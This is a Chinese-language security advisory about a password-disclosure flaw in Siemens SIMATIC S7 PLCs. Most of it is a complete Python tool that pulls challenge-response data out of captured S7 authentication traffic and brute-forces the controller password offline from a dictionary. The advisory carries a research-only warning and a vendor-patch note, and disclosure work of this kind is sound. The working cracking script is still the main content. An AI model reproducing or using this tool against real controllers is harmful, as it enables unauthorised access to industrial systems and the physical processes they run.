发布日期：2013-01-16
更新日期：2013-01-21

受影响系统：

Siemens SIMATIC S7 PLC Systems

描述：

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BUGTRAQ  ID: 57439

Siemens SIMATIC S7 Programmable Logic Controllers (PLC)是模块化PLC控制器。

Siemens SIMATIC S7 Programmable Logic Controllers (PLC)系统在实现上存在密码泄露漏洞，攻击者可利用此漏洞获取设备密码凭证。

Alexander Timorin发布了一个针对S7协议的离线的密码暴力破解工具，该工具在S7协议的auth数据包中取得challenge-response数据，在此基础上进行离线的对密码的暴力破解。


<*来源：Alexander Timorin
  
  链接：http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-13-016-02.pdf
        http://scadastrangelove.blogspot.com/2013/01/s7brut.html
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Alexander Timorin （）提供了如下测试方法：

"""
File: s7-brute-offline.py
Desc: offline password bruteforsing based on challenge-response data, extracted from auth traffic dump file

Alexander Timorin, Dmitry Sklyarov
http://scadastrangelove.org

Version: 0.1 (just for demo, don't kick my ass plz)
"""

import sys
import hashlib
import hmac
from binascii import hexlify
try:
    from scapy.all import *
except ImportError:
    print "please install scapy: http://www.secdev.org/projects/scapy/ "
    sys.exit()


cfg_pcap_file = '/root/siemens/RE_S7/stop_cpu_cmd_right_pass_123.pcap'
cfg_dictionary_file = 'dict.txt'

def get_challenge_response():
    r = rdpcap(cfg_pcap_file)

    lens = map(lambda x: x.len, r)
    pckt_lens = dict([(i, lens[i]) for i in range(0,len(lens))])

    # try to find challenge packet
    pckt_108 = 0 #challenge packet (from server)
    for (pckt_indx, pckt_len) in pckt_lens.items():
        if pckt_len+14 == 108 and hexlify(r[pckt_indx].load)[14:24] == '7202002732':
            pckt_108 = pckt_indx
            break

    # try to find response packet
    pckt_141 = 0 #response packet (from client)
    _t1 = dict([ (i, lens[i]) for i in pckt_lens.keys()[pckt_108:] ])
    for pckt_indx in sorted(_t1.keys()):
        pckt_len = _t1[pckt_indx]
        if pckt_len+14 == 141 and hexlify(r[pckt_indx].load)[14:24] == '7202004831':
            pckt_141 = pckt_indx
            break

    # try to find auth result packet
    pckt_84 = 0 # auth answer from plc: pckt_len==84 -> auth ok
    pckt_92 = 0 # auth answer from plc: pckt_len==92 -> auth bad
    for pckt_indx in sorted(_t1.keys()):
        pckt_len = _t1[pckt_indx]
        if pckt_len+14 == 84 and hexlify(r[pckt_indx].load)[14:24] == '7202000f32':
            pckt_84 = pckt_indx
            break
        if pckt_len+14 == 92 and hexlify(r[pckt_indx].load)[14:24] == '7202001732':
            pckt_92 = pckt_indx
            break

    print "found packets indeces: pckt_108=%d, pckt_141=%d, pckt_84=%d, pckt_92=%d" % (pckt_108, pckt_141, pckt_84, pckt_92)
    if pckt_84:
        print "auth ok"
    else:
        print "auth bad. for brute we need right auth result. exit"
        sys.exit()

    challenge = None
    response = None

    raw_challenge = hexlify(r[pckt_108].load)
    if raw_challenge[46:52] == '100214' and raw_challenge[92:94] == '00':
        challenge = raw_challenge[52:92]
        print "found challenge: %s" % challenge
    else:
        print "cannot find challenge. exit"
        sys.exit()

    raw_response = hexlify(r[pckt_141].load)
    if raw_response[64:70] == '100214' and raw_response[110:112] == '00':
        response = raw_response[70:110]
        print "found  response: %s" % response
    else:
        print "cannot find response. exit"
        sys.exit()

    return challenge, response

def calculate_s7response(password, challenge):
    challenge = challenge.decode("hex")
    return hmac.new( hashlib.sha1(password).digest(), challenge, hashlib.sha1).hexdigest()

if __name__ == '__main__':
    print "using pcap file: %s" % cfg_pcap_file
    challenge, response = get_challenge_response()
    print "start password bruteforsing  ..."
    for p in open(cfg_dictionary_file):
        p = p.strip()
        if response == calculate_s7response(p, challenge):
            print "found password: %s" % p
            sys.exit()
    print "password not found. try another dictionary."

建议：

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厂商补丁：

Siemens
-------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.siemens.com/corporate-technology/pool/

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